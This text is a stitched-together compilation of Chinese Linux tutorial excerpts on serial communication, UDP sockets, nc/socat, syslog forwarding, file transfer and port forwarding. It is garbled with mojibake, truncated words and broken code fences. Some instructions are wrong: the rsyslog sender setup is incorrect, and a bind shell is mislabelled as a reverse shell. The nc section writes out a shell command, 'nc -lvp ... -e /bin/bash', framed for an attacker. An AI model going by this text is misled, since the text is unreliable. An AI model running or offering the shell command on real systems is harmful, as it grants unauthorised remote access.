linux系统下,串口接收发送数据,并利用udp转发
串口发送和接收数据的一般方法
串口发送和接收数据的一般方法串口通信是一种用于在计算机或嵌入式系统之间传输数据的常用通信方式。
它使用串行连接,并遵循一定的通信协议。
在串口通信中,通常涉及到发送和接收数据的步骤。
下面是串口发送和接收数据的一般方法的详细解释。
1.打开串口:在发送和接收数据之前,需要首先打开串口连接。
打开串口可以通过相应的串口库函数实现。
常用的串口库函数有SerialPort in C/C++和pyserial in Python。
这些库函数提供了用于打开和控制串口的功能。
2.配置串口参数:打开串口后,需要配置一些串口参数,例如波特率、数据位、停止位和校验位等。
这些参数的配置通常由串口库函数提供的设置函数完成。
根据实际需求,可以选择不同的参数配置。
3.发送数据:发送数据是通过调用串口库函数提供的发送函数实现的。
发送函数通常需要传入一个数据缓冲区和要发送的数据长度作为参数。
在发送数据之前,需要将要发送的数据存储到数据缓冲区中。
发送函数会将数据从缓冲区发送到串口。
4.接收数据:接收数据是通过调用串口库函数提供的接收函数实现的。
接收函数通常需要传入一个数据缓冲区和要接收的数据长度作为参数。
在接收数据之前,需要定义一个足够大的缓冲区来存储接收到的数据。
接收函数会将数据从串口读取并存储到缓冲区中。
5.数据处理:接收到的数据可以进行进一步的处理。
例如,可以将数据解析为具体的信息,或者根据接收到的数据执行特定的操作。
数据处理的方法取决于应用需求。
6.关闭串口:在数据的发送和接收任务完成之后,应该关闭串口连接。
关闭串口可以通过调用串口库函数提供的关闭函数实现。
关闭串口将释放相关的资源。
需要注意的是,在进行串口通信时,要确保发送和接收端的串口参数配置一致。
否则,可能导致通信失败或数据解析错误。
上述是关于串口发送和接收数据的一般方法的基本介绍。
具体的实现方法和细节会因为不同的编程语言和串口库函数而有所差异。
因此,在实际应用中可以根据具体情况选择适合的编程语言和库函数,以实现串口通信。
linux 开发板之间数据传输方式
linux 开发板之间数据传输方式
Linux开发板之间的数据传输方式有多种,以下是一些常见的方式:1.网络传输:通过网线或Wi-Fi连接,使用TCP/IP协议栈进行数据传
输。
这种方式适合大量数据的快速传输,但需要稳定的网络环境。
2.串口传输:通过串口连接,使用串口通信协议(如RS-232、RS-485
等)进行数据传输。
这种方式适合短距离、低速的数据传输,常用于设备之间的调试和通信。
B传输:通过USB接口连接,使用USB协议进行数据传输。
这种
方式速度较快,适用于大量数据的传输,但需要开发板支持USB接口。
4.SD卡/eMMC传输:将数据存储到SD卡或eMMC等存储介质中,
然后通过插槽或接口连接到另一块开发板进行数据传输。
这种方式适合大量数据的存储和传输,但需要开发板支持相应的存储接口。
5.I2C/SPI传输:通过I2C或SPI等总线协议进行数据传输。
这种方式
适用于短距离、低速的数据传输,常用于设备之间的通信和控制。
具体选择哪种传输方式,需要根据应用场景、传输距离、传输速率、设备接口等因素综合考虑。
Linux命令高级技巧使用nc和socat进行网络调试和转发
Linux命令高级技巧使用nc和socat进行网络调试和转发在Linux系统中,运维或网络工程师经常需要进行网络调试和转发,以确保网络连接正常并解决问题。
而nc(netcat)和socat是两个非常强大的命令行工具,它们可以帮助我们进行各种网络调试和转发的操作。
本文将介绍如何使用nc和socat这两个命令进行高级网络调试和转发。
一、使用nc进行网络调试和转发1. nc的基本使用nc是一个用于建立TCP/UDP连接、发送和接收数据的工具。
它的基本使用格式如下:```nc [options] host port```其中,host代表目标主机的IP地址或域名,port代表目标主机的端口号。
要建立一个TCP连接并发送数据到目标主机的特定端口可以这样使用nc命令:```echo "Hello World" | nc host port这将在终端上显示"Hello World",并将其发送到目标主机和端口。
2. 使用nc进行端口扫描nc还可以用于进行端口扫描,以确定目标主机上哪些端口处于打开状态。
以下是进行端口扫描的命令示例:```nc -zv host startport-endport```其中,host代表目标主机的IP地址或域名,startport和endport代表端口范围的起始和结束端口。
3. 使用nc进行反向shellnc还可以用于建立反向shell连接,即在目标主机上监听并等待连接,一旦有连接请求,就建立一个shell会话。
以下是建立反向shell连接的命令示例:在目标主机上执行:```nc -lvp listenport -e /bin/bash```在攻击者主机上执行:nc targetIP listenport```这将在目标主机上打开一个shell,攻击者可以通过这个shell与目标主机进行交互。
二、使用socat进行网络调试和转发socat是一个功能强大的网络工具,它可以建立各种类型的连接,并提供了更多的高级功能。
linux的syslog转发
在Linux系统中,syslog是一种广泛使用的日志记录协议。
syslog 服务器接收并保存系统日志,以便后续分析和报告。
当需要将日志从一台机器转发到另一台机器时,可以使用syslog的转发功能。
以下是在Linux系统中使用syslog进行转发的步骤:1. 配置发送端:在发送端机器上,需要配置syslog服务器将日志发送到目标服务器。
这可以通过修改/etc/rsyslog.conf文件来完成。
找到下面这样的行并取消注释:```bash$ModLoad imudp$UDPServerRun 514```这将启用rsyslog守护进程监听UDP端口514,并将日志发送到目标服务器。
2. 配置接收端:在接收端机器上,需要配置syslog服务器接收来自其他机器的转发日志。
这可以通过编辑/etc/rsyslog.conf文件来完成。
找到下面这样的行并取消注释:```bash$ModLoad imudp$UDPServerRun 514```这将启用rsyslog守护进程监听UDP端口514,并接收来自其他机器的转发日志。
3. 重启rsyslog服务:在发送端和接收端机器上,需要重启rsyslog服务以使配置更改生效。
可以使用以下命令重启rsyslog服务:```shellsudo systemctl restart rsyslog```4. 测试转发功能:现在,应该已经配置好了syslog转发。
可以使用以下命令测试转发功能是否正常工作:```shelllogger -n <接收端IP地址> -u UDP514 "Hello, world!"```如果一切正常,您应该能够在接收端机器的syslog日志文件中看到刚刚发送的消息。
linux下的串口通信原理及编程实例
linux下的串⼝通信原理及编程实例linux下的串⼝通信原理及编程实例⼀、串⼝的基本原理1 串⼝通讯串⼝通讯(Serial Communication),是指外设和计算机间,通过数据信号线、地线等,按位进⾏传输数据的⼀种通讯⽅式。
串⼝是⼀种接⼝标准,它规定了接⼝的电⽓标准,没有规定接⼝插件电缆以及使⽤的协议。
2 串⼝通讯的数据格式 ⼀个字符⼀个字符地传输,每个字符⼀位⼀位地传输,并且传输⼀个字符时,总是以“起始位”开始,以“停⽌位”结束,字符之间没有固定的时间间隔要求。
每⼀个字符的前⾯都有⼀位起始位(低电平),字符本⾝由7位数据位组成,接着字符后⾯是⼀位校验位(检验位可以是奇校验、偶校验或⽆校验位),最后是⼀位或⼀位半或⼆位停⽌位,停⽌位后⾯是不定长的空闲位,停⽌位和空闲位都规定为⾼电平。
实际传输时每⼀位的信号宽度与波特率有关,波特率越⾼,宽度越⼩,在进⾏传输之前,双⽅⼀定要使⽤同⼀个波特率设置。
3 通讯⽅式单⼯模式(Simplex Communication)的数据传输是单向的。
通信双⽅中,⼀⽅固定为发送端,⼀⽅则固定为接收端。
信息只能沿⼀个⽅向传输,使⽤⼀根传输线。
半双⼯模式(Half Duplex)通信使⽤同⼀根传输线,既可以发送数据⼜可以接收数据,但不能同时进⾏发送和接收。
数据传输允许数据在两个⽅向上传输,但是,在任何时刻只能由其中的⼀⽅发送数据,另⼀⽅接收数据。
因此半双⼯模式既可以使⽤⼀条数据线,也可以使⽤两条数据线。
半双⼯通信中每端需有⼀个收发切换电⼦开关,通过切换来决定数据向哪个⽅向传输。
因为有切换,所以会产⽣时间延迟,信息传输效率低些。
全双⼯模式(Full Duplex)通信允许数据同时在两个⽅向上传输。
因此,全双⼯通信是两个单⼯通信⽅式的结合,它要求发送设备和接收设备都有独⽴的接收和发送能⼒。
在全双⼯模式中,每⼀端都有发送器和接收器,有两条传输线,信息传输效率⾼。
显然,在其它参数都⼀样的情况下,全双⼯⽐半双⼯传输速度要快,效率要⾼。
Linux终端命令的文件传输方法
Linux终端命令的文件传输方法Linux终端命令提供了多种文件传输方法,方便用户在终端中进行文件传输和共享。
本文将介绍几种常用的Linux终端命令的文件传输方法,包括scp、rsync和sftp。
1. scp命令scp(Secure Copy)是一种基于SSH协议的文件传输工具,用于在不同的主机之间进行文件拷贝。
它支持将本地文件拷贝到远程主机,也可以从远程主机拷贝文件到本地。
使用scp命令进行文件传输的基本语法如下:```scp [选项] [源文件] [目标文件]```其中,选项可以指定加密算法、端口号等参数,源文件指定要传输的文件路径,目标文件指定传输后的目标路径。
示例:将本地文件`example.txt`拷贝到远程主机`user@remote:/path/to/destination/`:```scp example.txt user@remote:/path/to/destination/将远程主机`user@remote:/path/to/source/example.txt`拷贝到本地当前目录:```scp user@remote:/path/to/source/example.txt .```2. rsync命令rsync是一个快速、多功能的文件复制和同步工具,它通过差异化算法来进行增量更新,有效减少数据传输量。
rsync可以在本地主机之间进行文件传输,也可以在本地和远程主机之间进行文件传输。
使用rsync命令进行文件传输的基本语法如下:```rsync [选项] [源文件/目录] [目标文件/目录]```其中,选项可以指定连接方式、忽略文件等参数,源文件/目录指定要传输的文件或目录路径,目标文件/目录指定传输后的目标路径。
示例:将本地目录`/path/to/source/`下的所有文件同步到远程主机`user@remote:/path/to/destination/`:rsync -avz /path/to/source/ user@remote:/path/to/destination/```从远程主机`user@remote:/path/to/source/`同步所有文件到本地目录`/path/to/destination/`:```rsync -avz user@remote:/path/to/source/ /path/to/destination/```3. sftp命令sftp(Secure File Transfer Protocol)是基于SSH协议的一种安全文件传输协议,用于在本地和远程主机之间进行文件传输。
linux路由转发原理
linux路由转发原理
在Linux系统中,路由转发指的是将接收到的网络数据包从一
个网络接口转发到另一个网络接口的过程。
Linux系统通过以
下几个步骤实现路由转发:
1. 数据包接收:当一个网络接口接收到一个数据包时,操作系统会捕获数据包,并将其传递给网络协议栈进行处理。
2. 路由决策:在接收到数据包后,操作系统会根据其目的IP
地址进行路由决策,确定将数据包发送到哪个网络接口。
它会检查系统的路由表,找到与目的IP地址最匹配的路由项。
路
由表中的每个路由项包含目的网络地址、下一跳地址和出接口。
3. 数据包转发:根据路由决策,操作系统将数据包从接收网络接口转发到指定的出接口。
这个过程涉及到重新封装数据包,包括设置新的源和目的MAC地址。
通过重新封装,操作系统
可以将数据包发送到下一跳路由器或目的主机。
4. 数据包转发控制:操作系统还可以根据配置和策略控制路由转发过程。
例如,可以通过配置IP转发表来允许或拒绝特定
的数据包转发。
此外,还可以使用网络地址转换(NAT)来
修改数据包中的IP地址和端口。
总结起来,Linux系统的路由转发原理是根据目的IP地址查找路由表,然后将数据包从接收网络接口转发到指定的出接口,同时进行必要的数据包封装和重写。
arm linux通过串口与PC互相传送文件
通过串口与PC互相传送文件超级终端:当通过串口终端登录系统之后,可以使用rz或者sz命令通过串口与PC相互传送文件,具体操作如下:A)使用sz向PC发送文件在超级终端窗口中,点击鼠标右键,在弹出的菜单中选择“接收文件”开始设置接收文件目录和协议,如图所示。
然后在终端的命令行输入“sz /root/Documents/viva-la-vida.mp3”命令,开始向PC传送位于“/root/Documents”目录的viva-la-vida.mp3文件(或者其他文件,改一下路径和文件名就可以了),因为该文件比较大,所以需要多等几分钟,发送完毕,系统会自动保存文件到您设置的目录里面,如图。
B)使用rz命令下载文件到开发板在串口中断输入“rz”命令,开始接收从PC传过来的文件。
然后在超级终端窗口中,点鼠标右键,在弹出的菜单中选择“发送文件”,设置好要发送的文件和使用的协议,如图所示,开始向开发板发送文件。
点“发送”,开发板开始接收文件,如图所示。
接收完毕,将会在当前目录下得到同样文件名的文件,您可以使用md5sum命令验证该文件是否和源文件相同。
Minicom:A)minicom配置:1)进入配置界面#minicom -s2)Serial port setup(串口设置)(A)/dev/ttyS0 --串口1 (内核不同,名可为/dev/ttySAC0,连接USB转串口,则可能为/dev/ttyUSB0)(E)波特率,数据位几位,有无奇偶校验Speed 115200 Q 8-N-1(F)NO (数据流硬件设置)(G)NO (数据流软件设置)如图。
3)Filenames and paths (文件路径设置)(A)设置下载文件存放目录:/work/example/download(B)设置上传文件存放目录:/work/example/upload如图。
4)退回主菜单,save set up as dfl5)Exit from MinicomB)使用rz命令下载文件到开发板在串口中断输入“rz”命令,开始接收从PC传过来的文件。
linux sendto 用法
linux sendto 用法sendto是Linux中用于向指定的目标地址发送数据的系统调用函数。
它通常用于在网络编程中发送数据报。
sendto函数的基本用法如下:c.ssize_t sendto(int sockfd, const void buf, size_t len, int flags,。
const struct sockaddr dest_addr, socklen_t addrlen);参数说明:sockfd,指定要发送数据的套接字文件描述符。
buf,指向包含要发送数据的缓冲区的指针。
len,要发送数据的长度。
flags,指定发送数据的可选标志,通常可以设置为0。
dest_addr,指向目标地址的结构体指针,包括目标主机的IP 地址和端口号。
addrlen,指定目标地址结构体的长度。
sendto函数的返回值是成功发送的字节数,如果出现错误则返回-1,并设置errno变量来指示具体的错误类型。
在使用sendto函数时,需要注意以下几点:1. 确保套接字已经创建并绑定到本地地址。
2. 目标地址结构体需要根据协议类型进行填充,例如针对IPv4的目标地址结构体为sockaddr_in。
3. 可以通过flags参数设置一些可选的发送标志,如MSG_DONTROUTE等。
4. 错误处理,在调用sendto函数后需要检查返回值,如果返回-1则表示发送失败,可以通过errno变量获取具体的错误信息。
总之,sendto函数是在Linux网络编程中用于发送数据的重要函数,通过合理设置参数和处理返回值,可以实现可靠的数据发送操作。
linux 端口转发方法
linux 端口转发方法在Linux系统中,端口转发是一种常见的网络配置技术,用于将传入的网络流量从一个端口转发到另一个端口。
这项技术在许多场景下都非常有用,比如将流量从外部网络转发到内部服务器,或者在本地网络中进行端口映射等。
在本文中,我们将介绍在Linux 系统中实现端口转发的几种常见方法。
1. iptables.iptables是Linux系统中用于配置防火墙和网络地址转换的工具。
通过iptables,可以很方便地实现端口转发。
以下是一个简单的例子,将外部网络的访问从80端口转发到8080端口:bash.iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080。
这个命令将所有进入80端口的TCP流量重定向到8080端口。
当然,iptables还有很多其他用法,可以根据具体需求进行配置。
2. socat.socat是一个非常强大的网络工具,可以在Linux系统中实现各种网络操作。
通过socat,可以轻松地实现端口转发。
以下是一个简单的例子,将本地的12345端口转发到远程服务器的54321端口:bash.socat TCP-LISTEN:12345,fork TCP:remote_server:54321。
这个命令将监听本地的12345端口,并将所有流量转发到远程服务器的54321端口。
socat还支持很多其他的功能,比如UDP转发、SSL转发等。
3. SSH端口转发。
SSH是一个非常常用的远程登录工具,除了登录远程服务器外,它还可以实现端口转发。
以下是一个简单的例子,将本地的8080端口转发到远程服务器的80端口:bash.ssh -L 8080:remote_server:80 user@remote_server.这个命令将建立一个SSH连接,并在本地监听8080端口,所有流量都将通过SSH连接转发到远程服务器的80端口。
Linux终端命令的进程通信和数据传输
Linux终端命令的进程通信和数据传输Linux终端命令是开发人员和系统管理员在Linux操作系统上进行各种操作的基础工具。
在Linux中,进程通信和数据传输是关键的功能之一,它允许不同的进程之间相互交换信息和共享资源。
本文将介绍Linux终端命令中的进程通信和数据传输的几种方法。
一、管道(pipe)管道是Linux终端命令中最简单和最常用的进程通信方式之一。
它实际上是一个特殊的文件,用于将一个命令的输出连接到另一个命令的输入。
管道使用竖线符号(|)来表示,例如:```command1 | command2```这将把command1的输出作为command2的输入。
通过管道,可以在不创建临时文件的情况下将多个命令串联起来,实现数据的流动和传输。
二、命名管道(named pipes)命名管道是一种特殊的文件类型,用于在不相关的进程之间进行通信。
与简单管道不同,命名管道可以通过文件系统中的路径进行引用,允许任意数量的进程进行读写操作。
命名管道使用mkfifo命令进行创建,例如:```mkfifo mypipe```创建后,可以通过文件读写的方式进行进程间通信,示例:```echo "Message" > mypipecat mypipe```第一条命令将一条消息写入命名管道,第二条命令将读取并显示该消息。
三、信号(signal)信号是一种Linux终端命令中用于进程间通信的异步通知机制。
当一个进程需要通知另一个进程发生了某个事件时,可以发送一个信号。
接收信号的进程可以根据信号的类型和处理方式来做出相应的响应。
常见的信号包括中断信号(SIGINT)和终止信号(SIGTERM)。
通过kill命令可以向指定进程发送信号,例如:```kill -SIGINT PID```这将中断具有PID标识符的进程。
四、共享内存(shared memory)共享内存是一种高效的进程间通信机制,允许不同的进程访问同一块物理内存。
linux创建socket收发链路层报文的c语言代码
linux创建socket收发链路层报文的c语言代码引言概述:在Linux操作系统中,使用C语言编写代码可以创建socket并进行收发链路层报文的操作。
本文将详细介绍如何使用C语言编写代码来实现这一功能。
正文内容:1. socket的创建1.1. 引入必要的头文件:在C语言代码中,需要引入一些必要的头文件,如<sys/types.h>、<sys/socket.h>和<netinet/in.h>等,以便使用相关的函数和数据结构。
1.2. 创建socket:使用socket()函数可以创建一个socket,该函数需要指定协议族、套接字类型和协议类型等参数。
常用的协议族有AF_PACKET(链路层协议族)、AF_INET(IPv4协议族)和AF_INET6(IPv6协议族)等。
1.3. 设置socket选项:可以使用setsockopt()函数来设置socket的选项,如设置接收和发送缓冲区的大小等。
2. 绑定socket2.1. 创建一个用于绑定的结构体:使用struct sockaddr_ll结构体来保存链路层地址信息,包括接口索引、协议类型和目标MAC地址等。
2.2. 绑定socket:使用bind()函数将socket与特定的链路层地址绑定,以便接收和发送链路层报文。
3. 发送链路层报文3.1. 构建报文:使用C语言的数据结构和函数来构建链路层报文,包括设置目标MAC地址、源MAC地址、协议类型和数据等。
3.2. 发送报文:使用sendto()函数发送链路层报文,该函数需要指定socket、报文数据和报文长度等参数。
4. 接收链路层报文4.1. 创建一个接收缓冲区:使用malloc()函数动态分配一个足够大的缓冲区来接收链路层报文。
4.2. 接收报文:使用recvfrom()函数接收链路层报文,该函数需要指定socket、接收缓冲区和缓冲区大小等参数。
5. 关闭socket5.1. 关闭socket:使用close()函数关闭已创建的socket,释放相关资源。
linux c语言 串口读取数据的方法
linux c语言串口读取数据的方法Linux下使用C语言读取串口数据的方法引言:串口是计算机和外部设备进行通信的一种重要的通信接口。
在Linux系统中,要使用C语言读取串口数据,需要通过打开串口设备文件,设置串口参数,并进行读取数据的操作。
本文将介绍如何通过C语言在Linux下读取串口数据的方法。
目录:1. 了解串口的工作原理2. 打开串口设备文件3. 设置串口参数4. 读取串口数据5. 示例程序6. 总结1. 了解串口的工作原理:在开始编写C语言读取串口数据的方法前,首先需要了解串口的工作原理。
串口是通过硬件电路实现两台设备之间的数据传输,属于一种异步串行通信方式。
典型的串口包含发送数据引脚(TX)、接收数据引脚(RX)、数据位、停止位、奇偶校验位等。
2. 打开串口设备文件:在Linux系统中,每个串口设备都被映射到一个设备文件上,例如/dev/ttyS0代表第一个串口设备,/dev/ttyUSB0代表第一个USB串口设备。
要使用C语言读取串口数据,需要首先打开相应的串口设备文件。
在C语言中,使用open()函数打开串口设备文件。
open()函数的原型如下:cint open(const char *pathname, int flags);其中pathname参数指定要打开的串口设备文件路径,flags参数指定打开方式。
常用的flags参数有O_RDONLY(只读方式打开)、O_WRONLY (只写方式打开)和O_RDWR(读写方式打开)。
例如,要打开第一个串口设备文件,可以调用open()函数如下:cint fd = open("/dev/ttyS0", O_RDWR);if (fd == -1){perror("Error opening serial port");return -1;}当open()函数成功打开串口设备文件时,会返回一个非负整数的文件描述符fd,用于后续的操作。
linux收发包流程
Linux收发包流程概述
Linux收发包流程如下:
1. 应用程序通过套接字接口发送数据包,该数据包先要在网络协议栈中从上到下进行逐层处理,最终再送到网卡发送出去。
2. 网卡向CPU发起硬件中断,当CPU收到硬件中断请求后,根据中断表,调用已经注册的中断处理函数。
3. 中断处理函数会从用户态陷入到内核态中的Socket层,内核会申请一个内核态的sk_buff内存,将用户待发送的数据拷贝到sk_buff 内存,并将其加入到发送缓冲区。
4. 网络协议栈从Socket发送缓冲区中取出sk_buff,并按照TCP/IP协议栈从上到下逐层处理。
5. 传输层如果使用的是TCP传输协议发送数据,那么先拷贝一个新的sk_buff副本,接着,对sk_buff填充TCP头。
6. 然后交给网络层,在网络层里会做这些工作:选取路由(确认下一跳的IP)、填充IP头、netfilter过滤、对超过MTU大小的数据包进行分片。
处理完这些工作后会交给网络接口层处理。
7. 网络接口层负责物理地址寻址,找下一跳的MAC地址,添加帧头和帧尾,放到发包队列中。
8. 这一切完成后,会有软中断通知驱动程序:发包队列中有新的网络帧需要发送。
9. 驱动程序通过DMA ,从发包队列中读出网络帧,并通过物理网卡把它发送出去。
这就是Linux的收发包流程,仅供参考,建议查阅专业书籍或咨询专业人士获取更准确的信息。
linux报文的接收与发送
对于linux内核来说,网络报文由网络设备来进行接收。
设备驱动程序从网络设备中读取报文,通过内核提供的网络接口函数,将报文传递到内核中的网络协议栈。
报文经过协议栈的处理,或转发、或丢弃、或被传送给某个进程。
网络报文的发送与之相反,进程通过系统调用将数据送入网络协议栈,或者由网络协议栈自己发起报文的发送,然后协议栈通过调用网络接口函数来调度驱动程序,使其将报文传送给网络设备,从而发送出去。
本文讨论的是网络接口层,它是网络设备驱动程序与网络协议栈交互的纽带。
见下图中红色部分的netif。
关键数据结构//接收报文的每CPU队列struct softnet_datastruct softnet_data{struct sk_buff_head input_pkt_queue; //旧接口的输入队列struct list_head poll_list; //有需要处理报文的NAPI设备struct napi_struct backlog;//虚拟的NAPI设备 backlog};DEFINE_PER_CPU_ALIGNED(struct softnet_data, softnet_data);struct napi_struct{struct list_head poll_list;//挂到softnet_data的pool_list上unsigned long state;//NAPI的调度状态int weight;//一次轮询的最大处理报文数int (*poll)(struct napi_struct *, int);//轮询函数struct net_device *dev;//指向关联的网络设备struct list_head dev_list;//对应的网络设备上关联的NAPI链表节点 /*其他字段是gso功能用,这里先不讨论*/};网络设备的初始化这里会注册TX/RX软中断对应的回调函数static int __init net_dev_init(void){……open_softirq(NET_TX_SOFTIRQ, net_tx_action);open_softirq(NET_RX_SOFTIRQ, net_rx_action);……}}报文的接收网络报文的接收源自网络设备。
c语言串口互收发
c语言串口互收发C语言串口互收发串口通信是一种常见的通信方式,它通过串行通信口(即串口)传输数据。
在嵌入式系统、单片机、工控设备等领域,串口通信被广泛应用。
本文将介绍如何使用C语言实现串口的互收发功能。
我们需要了解串口的基本原理。
串口通信使用的是异步通信方式,即数据的传输不需要时钟信号。
串口由发送端(TX)和接收端(RX)组成,数据通过串口的TX引脚从发送端发送出去,然后通过RX引脚被接收端接收。
在C语言中,我们可以使用串口库来实现串口的互收发。
常用的串口库有Windows下的WinAPI和Linux下的termios库。
下面以Linux为例,介绍如何使用termios库来实现串口的互收发。
我们需要打开串口设备。
可以使用open()函数来打开串口设备文件,例如/dev/ttyS0。
打开串口设备后,我们需要进行一系列的配置,包括波特率、数据位、停止位、校验位等。
这些配置可以通过termios结构体来完成,然后使用tcsetattr()函数将配置应用到串口设备上。
接下来,我们可以使用read()函数从串口接收数据。
read()函数会阻塞直到接收到指定长度的数据或超时。
我们可以通过设置超时时间来控制read()函数的阻塞时间。
我们也可以使用write()函数向串口发送数据。
write()函数将指定长度的数据发送到串口,并返回实际发送的字节数。
需要注意的是,串口是一种半双工通信方式,发送和接收不能同时进行。
除了基本的接收和发送功能,我们还可以通过设置串口的其他参数来实现更多的功能。
例如,我们可以设置串口为非阻塞模式,这样read()函数就不会阻塞,可以立即返回。
我们还可以设置串口的流控制,如硬件流控制和软件流控制,以提高通信的可靠性和稳定性。
在实际应用中,我们可以使用串口进行与外设的通信。
例如,我们可以使用串口与传感器进行通信,获取传感器的数据。
我们也可以使用串口与其他设备进行通信,如打印机、数码相机等。
linux 读取串口数据方法
linux 读取串口数据方法【原创实用版2篇】目录(篇1)一、Linux 读取串口数据的方法概述二、使用 C 语言读取串口数据三、使用 Qt 库读取串口数据四、使用 Python 读取串口数据五、总结正文(篇1)一、Linux 读取串口数据的方法概述在 Linux 系统中,串口是一种常用的设备接口,可以用于接收和发送数据。
Linux 提供了多种方法来读取和操作串口数据。
本文将介绍几种常见的方法,包括使用 C 语言、Qt 库和 Python 语言来读取串口数据。
二、使用 C 语言读取串口数据1.打开串口在 C 语言中,打开串口需要使用 fcntl 函数。
首先,需要包含头文件<fcntl.h>和<termios.h>。
然后,使用以下代码打开串口:```cint fd = open("/dev/ttyS0", O_RDWR);if (fd < 0) {perror("Can"t Open Serial Port");return -1;}```2.设置串口速度打开串口成功后,需要设置串口的波特率、数据位、校验位和停止位等参数。
可以使用以下代码设置串口速度:```cstruct termios tty;if (tcgetattr(fd, &tty)!= 0) {perror("Can"t Get Serial Port Attributes");return -1;}tty.c_cflag &= ~PARENB; // 清除奇偶校验位tty.c_cflag &= ~CSTOPB; // 使用一个停止位tty.c_cflag |= CS8; // 8 位数据位tty.c_cflag &= ~CRTSCTS; // 禁用硬件流控制tty.c_cflag |= CREAD | CLOCAL; // 使能读和忽略 modem 控制线if (tcsetattr(fd, TCSANOW, &tty)!= 0) {perror("Can"t Set Serial Port Attributes");return -1;}```3.读取串口数据使用以下代码读取串口数据:char buf[64];int len = read(fd, buf, sizeof(buf));if (len < 0) {perror("Can"t Read from Serial Port");return -1;}printf("Read data: %s", buf);```三、使用 Qt 库读取串口数据在 Qt 中,可以使用 QSerialPort 类来读取串口数据。
linux串口编程原理
Linux串口编程原理1.介绍串口是计算机与外部设备之间传输数据的一种常用方式,它通过发送和接收字符流来进行通信。
L in ux系统提供了强大的串口编程接口,开发者可以使用这些接口来实现与串口设备的通信。
本文将介绍L in ux串口编程的原理和基本概念。
2.串口基础知识2.1串口通信原理串口通信是通过发送和接收电平状态的变化来传输数据的。
在串口通信中,数据以字节的形式传输,并通过串口线路经过物理转换实现数据的发送和接收。
通常,串口通信包含三个主要的组成部分:-串行数据传输线(T X D、RX D):用于发送和接收数据的物理线路。
-数据帧(F ra me):包含了要发送或接收的数据,通常包括起始位、数据位、校验位和停止位。
-波特率(B au dR at e):表示每秒钟传输的波特数,它决定了数据传输的速度。
2.2串口设备文件在L in ux系统中,串口设备会在`/de v`目录下生成对应的设备文件,以便开发者对串口设备进行操作。
设备文件的命名方式为`tty S x`或`t ty US Bx`,其中`x`表示串口的编号。
例如,`/d ev/t ty S0`表示第一个串口设备,`/d ev/t t y US B0`表示第一个US B串口设备。
开发者可以通过打开设备文件并向其写入或读取数据来进行串口通信。
3. Li nux串口编程接口3.1打开串口在L in ux中,使用C语言编写串口程序需要先打开串口设备文件。
可以通过调用`op en()`系统调用打开串口设备文件,并设置合适的访问权限。
#i nc lu de<f cn tl.h>#i nc lu de<u ni st d.h>i n to pe n(co ns tc har*pa th na me,i nt fla g s);3.2配置串口打开串口后,需要对串口进行正确的配置,包括波特率、数据位、校验位和停止位等参数。
L in ux提供了`ter m io s`结构体和相关函数来配置串口。
linux 二层转发流程
linux 二层转发流程Linux二层转发流程一、引言在计算机网络中,二层转发是实现局域网内主机之间通信的关键技术之一。
Linux作为一种广泛使用的操作系统,其二层转发功能也相当强大。
本文将介绍Linux二层转发的流程及相关知识。
二、Linux二层转发的基本概念Linux二层转发是指在Linux操作系统上实现的局域网内主机之间的数据包转发。
在二层转发过程中,主要涉及到MAC地址的学习和转发、ARP协议的使用以及交换机的作用。
1. MAC地址的学习和转发在局域网中,每个网络设备都有一个唯一的MAC地址。
当主机A 要向主机B发送数据包时,首先需要知道主机B的MAC地址。
为了实现这一目的,主机A会发送一个广播帧,其中包含了主机B的IP地址。
当主机B接收到该广播帧后,会回复一个带有自己MAC 地址的数据帧给主机A。
主机A在收到回复后,会将主机B的MAC地址与其IP地址建立映射关系,以便后续的数据包转发。
2. ARP协议的使用ARP(Address Resolution Protocol)协议是一种广泛用于局域网中的协议,用于将IP地址映射到MAC地址。
当主机A需要向主机B发送数据包时,会首先查询自己的ARP缓存表,看是否已经有了主机B的MAC地址。
如果没有,则会通过ARP协议发送一个ARP 请求广播帧,请求其他主机告知主机B的MAC地址。
其他主机收到该请求后,如果MAC地址与请求匹配,则会回复一个ARP应答广播帧,告知主机A主机B的MAC地址。
主机A在收到应答后,会将主机B的MAC地址与其IP地址建立映射关系。
3. 交换机的作用交换机是局域网中的重要设备,用于实现数据包的转发。
当一台主机A要向主机B发送数据包时,主机A会将数据包发送到交换机。
交换机会根据数据包中的目标MAC地址进行转发。
如果交换机的MAC地址表中有与目标MAC地址匹配的条目,则直接将数据包转发给目标主机。
如果没有匹配的条目,则会将数据包广播到所有端口,以便于其他主机学习到目标主机的MAC地址。
实验六LINUX环境下UDP通信程序设计
一.实验目的1、熟悉基于socket的网络编程接口2、掌握流式套接字的创建方法3、掌握为套接字绑定IP地址、端口的方法4、加深理解UDP通信双方的交互模式5、掌握recvfrom函数用法6、掌握sendto函数用法二.实验环境1、头歌基于Linux的虚拟机桌面系统2、网络报文分析工具:wireshark3、编码工具:Vscode(推荐)或 Vim4、C编译器:gcc5、查询Linux C函数用法:man 2 函数名三.相关原理或知识点1.UDP协议的主要特点(1)无连接通信(2)不保证可靠性(3)实时性高于TCP(4)报文不分段,可以是大报文(有上限),面向报文通信2.Socket(套接字)编程接口Unix/Linux、Windows等操作系统,为程序员提供了一种基于socket(套接字)的间接访问系统TCP/IP协议栈进行通信的编程接口,目前大多数通信应用程序的编程都直接或间接地使用了该接口。
在Windows系统环境这个接口称之为Winsock API接口。
3、Socket(套接字)编程接口Unix/Linux、Windows等操作系统,为程序员提供了一种基于socket(套接字)的间接访问系统TCP/IP协议栈进行通信的编程接口,目前大多数通信应用程序的编程都直接或间接地使用了该接口。
在Windows系统环境这个接口称之为Winsock API接口。
4、创建UDP套接字Linux系统提供一个socket系统调用来创建一个套接字。
socket函数的具体的说明如下:需要的头文件如下:#include <sys/types.h> #include <sys/socket.h> ●函数原型声明: int socket(int domain, int type, int protocol);●参数说明:domain:创建套接字所使用的协议族;type:套接字类型;protocol:用于指定某个协议的特定类型,通常某个协议中只有一种特定类型,这样该参数的值仅能设置为0;●domain参数的常用的协议族如下表所示:●type参数的常用的套接字类型如下表所示:函数返回值说明:执行成功返回值为一个新创建的套接字,否则返回-1,并设置错误代码errno。
